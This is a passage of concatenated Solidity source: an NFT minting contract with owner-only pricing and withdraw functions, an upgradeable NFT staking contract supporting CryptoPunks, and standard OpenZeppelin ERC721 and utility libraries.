*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Dickheads is ERC721, Ownable {
event Mint(address indexed from, uint256 indexed tokenId);
modifier mintingStarted() {
require(mintingEnabled, "You are too early");
_;
}
modifier callerNotAContract() {
require(
tx.origin == msg.sender,
"The caller can only be a user and not a contract"
);
_;
}
uint16 private totalTokens = 6969;
uint256 private maxTokensPerWallet = 150;
uint256 private maxTokensPerTransaction = 10;
bool private mintingEnabled = false;
// Price per NFT: 0.03 ETH
uint256 private tokenPrice = 30000000000000000;
uint256 private totalMintedTokens = 0;
string private baseURI;
mapping(address => uint256) private claimedTokensPerWallet;
uint256 public nextTokenToMint;
constructor(string memory _initialBaseURI) ERC721("Dickheads", "PEN15") {
baseURI = _initialBaseURI;
nextTokenToMint = 1;
}
// ONLY OWNER
/**
* @dev Allows to withdraw the Ether in the contract to the address of the owner.
*/
function withdraw() external onlyOwner {
uint256 totalBalance = address(this).balance;
payable(msg.sender).transfer(totalBalance);
}
/**
* @dev Sets the base URI for the API that provides the NFT data.
*/
function setBaseTokenURI(string memory _uri) external onlyOwner {
baseURI = _uri;
}
/**
* @dev Sets mintingEnabled
*/
function setMintingEnabled(bool _mintingEnabled) external onlyOwner {
mintingEnabled = _mintingEnabled;
}
/**
* @dev Sets maxTokensPerTransaction
*/
function setMaxTokensPerTransaction(uint256 _maxTokensPerTransaction)
external
onlyOwner
{
maxTokensPerTransaction = _maxTokensPerTransaction;
}
/**
* @dev Sets the mint price for each token
*/
function setTokenPrice(uint256 _tokenPrice) external onlyOwner {
tokenPrice = _tokenPrice;
}
// END ONLY OWNER FUNCTIONS
/**
* @dev Claim bulk tokens at once
*/
function mintTokens(uint256 amount)
external
payable
callerNotAContract
mintingStarted
{
require(
msg.value >= tokenPrice * amount,
"Not enough Ether to claim the tokens"
);
require(amount <= maxTokensPerTransaction, "Unable to mint this many");
require(
claimedTokensPerWallet[msg.sender] + amount <= maxTokensPerWallet,
"You cannot claim more tokens"
);
require(
totalTokens - (nextTokenToMint - 1) > amount,
"No tokens left to be claimed"
);
uint256[] memory tokenIds = new uint256[](amount);
claimedTokensPerWallet[msg.sender] += amount;
totalMintedTokens += amount;
for (uint256 i; i < amount; i++) {
tokenIds[i] = getTokenToBeClaimed();
}
_batchMint(msg.sender, tokenIds);
}
function _batchMint(address to, uint256[] memory tokenIds)
internal
virtual
{
require(to != address(0), "ERC721: mint to the zero address");
for (uint256 i; i < tokenIds.length; i++) {
require(!_exists(tokenIds[i]), "ERC721: token already minted");
_safeMint(to, tokenIds[i]);
}
}
/**
* @dev Returns the tokenId by index
*/
function tokenByIndex(uint256 tokenId) external view returns (uint256) {
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
return tokenId;
}
/**
* @dev Returns the base URI for the tokens API.
*/
function baseTokenURI() external view returns (string memory) {
return baseURI;
}
/**
* @dev Returns how many tokens are still available to be claimed
*/
function getAvailableTokens() external view returns (uint256) {
return totalTokens - (nextTokenToMint - 1);
}
/**
* @dev Returns the claim price
*/
function getTokenPrice() external view returns (uint256) {
return tokenPrice;
}
/**
* @dev Returns the minting start date
*/
function getMintingEnabled() external view returns (bool) {
return mintingEnabled;
}
/**
* @dev Returns the total supply
*/
function totalSupply() external view virtual returns (uint256) {
return totalMintedTokens;
}
// Private and Internal functions
/**
* @dev Returns a random available token to be claimed
*/
function getTokenToBeClaimed() private returns (uint256) {
uint256 tokenId = nextTokenToMint;
nextTokenToMint++;
return tokenId;
}
/**
* @dev See {ERC721}.
*/
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/utils/ERC721HolderUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
interface ICryptoPunks {
function transferPunk(address to, uint punkIndex) external;
}
/**
* @dev The entrance of P2P business
*/
contract Stake is
OwnableUpgradeable,
ERC721HolderUpgradeable,
PausableUpgradeable,
AccessControlEnumerableUpgradeable
{
using SafeMathUpgradeable for uint256;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
bytes32 public constant ROLE_STAKE_ADMIN =
keccak256("ROLE_STAKE_ADMIN");
bytes32 public constant ROLE_BOT_ADMIN =
keccak256("ROLE_BOT_ADMIN");
event UpdateWhitelist(address indexed _address, bool _active);
event SetWhiteNFT(address indexed _address);
event Staked(
address indexed from,
address indexed nftAddress,
uint256 indexed nftId
);
event Withdrawn(
address indexed from,
uint256 indexed stakeId,
address indexed nftAddress,
uint256 nftId,
uint64 duration
);
event NFTReceived(
address indexed operator,
address indexed from,
uint256 indexed tokenId,
bytes data
);
mapping(address => bool) whitelist;
// non-native NFT, e.g. CryptoPunks
mapping(address => bool) whiteNFT;
EnumerableSetUpgradeable.AddressSet internal whiteSet;
// user stake info.
mapping(address => StakeInfo[]) public stakeOf;
struct StakeInfo {
address nftAddress;
uint256 nftId;
uint64 start;
}
function initialize() public initializer {
_grantRole(DEFAULT_ADMIN_ROLE, _msgSender());
_grantRole(ROLE_STAKE_ADMIN, _msgSender());
_grantRole(ROLE_BOT_ADMIN, _msgSender());
__Ownable_init();
__Pausable_init();
}
modifier onlyStakeAdmin() {
require(
hasRole(ROLE_STAKE_ADMIN, _msgSender()),
"Only the stake admin has permission to do this operation"
);
_;
}
modifier onlyBotAdmin() {
require(
hasRole(ROLE_BOT_ADMIN, _msgSender()),
"Only the robot admin has permission to do this operation"
);
_;
}
modifier checkWhitelist(address _address) {
require(whitelist[_address], "This address is not in the whitelist");
_;
}
modifier checkNFTList(address _address) {
require(whiteNFT[_address], "This address is not in the whitelist");
_;
}
function setPause(bool pause) external onlyStakeAdmin {
if (pause) {
_pause();
} else {
_unpause();
}
}
function updateWhitelist(address _address, bool _active)
public
whenNotPaused
onlyStakeAdmin
{
whitelist[_address] = _active;
_active ? whiteSet.add(_address) : whiteSet.remove(_address);
emit UpdateWhitelist(_address, _active);
}
function setWhitelist(address[] memory addresses) public whenNotPaused onlyStakeAdmin {
for (uint256 index = 0; index < addresses.length; index++) {
updateWhitelist(addresses[index], true);
}
}
function setWhiteNFT(address _address) public whenNotPaused onlyStakeAdmin {
whiteNFT[_address] = true;
updateWhitelist(_address, true);
emit SetWhiteNFT(_address);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes memory data
) public override(ERC721HolderUpgradeable) returns (bytes4) {
emit NFTReceived(operator, from, tokenId, data);
return
bytes4(
keccak256("onERC721Received(address,address,uint256,bytes)")
);
}
function getStakes(address user) public view returns (StakeInfo[] memory) {
return stakeOf[user];
}
/**
* @dev Staking NFT into contracts
* @param _nftAdr the address of staked NFT
* @param _nftId the tokenID of staked NFT
*/
function stake(
address _nftAdr,
uint256 _nftId
) public whenNotPaused checkWhitelist(_nftAdr) {
require(
IERC721(_nftAdr).supportsInterface(0x80ac58cd),
"Parameter _nftAdr is not ERC721 contract address"
);
IERC721(_nftAdr).safeTransferFrom(_msgSender(), address(this), _nftId);
stakeOf[_msgSender()].push(
StakeInfo({
nftAddress: _nftAdr,
nftId: _nftId,
start: uint64(block.timestamp)
})
);
emit Staked(_msgSender(), _nftAdr, _nftId);
}
function stakeList(address[] memory _nftAdrs, uint256[] memory _nftIds) external {
require(_nftAdrs.length == _nftIds.length, "Bad parameters.");
for (uint256 i = 0; i < _nftAdrs.length; i++) {
stake(_nftAdrs[i], _nftIds[i]);
}
}
/**
* @dev Robot listens event PunkTransfer to record CryptoPunks stake info in contract
* @param from the address of user who transfer CryptoPunks to the contract
* @param _nftAdr the address of CryptoPunks
* @param _nftId the id of CryptoPunks
*/
function recordStake(
address from,
address _nftAdr,
uint256 _nftId
) external whenNotPaused checkNFTList(_nftAdr) onlyBotAdmin {
stakeOf[from].push(
StakeInfo({
nftAddress: _nftAdr,
nftId: _nftId,
start: uint64(block.timestamp)
})
);
emit Staked(from, _nftAdr, _nftId);
}
/**
* @dev withdraw staked NFT
* @param _stakeId the id of user staked NFT in stake array
*/
function withdraw(uint256 _stakeId) external whenNotPaused {
require(_stakeId < stakeOf[_msgSender()].length, "Withdraw: Stake does not exist");
StakeInfo memory userStake = stakeOf[_msgSender()][_stakeId];
stakeOf[_msgSender()][_stakeId] = stakeOf[_msgSender()][stakeOf[_msgSender()].length - 1];
stakeOf[_msgSender()].pop();
uint64 duration = uint64(block.timestamp) - uint64(userStake.start);
if (whiteNFT[userStake.nftAddress]) {
ICryptoPunks(userStake.nftAddress).transferPunk(_msgSender(), userStake.nftId);
} else {
IERC721(userStake.nftAddress).safeTransferFrom(
address(this),
_msgSender(),
userStake.nftId
);
}
emit Withdrawn(_msgSender(), _stakeId, userStake.nftAddress, userStake.nftId, duration);
}
/**
* @dev get NFT whitelist
*/
function getWhiteSet() public view returns (address[] memory) {
return whiteSet.values();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
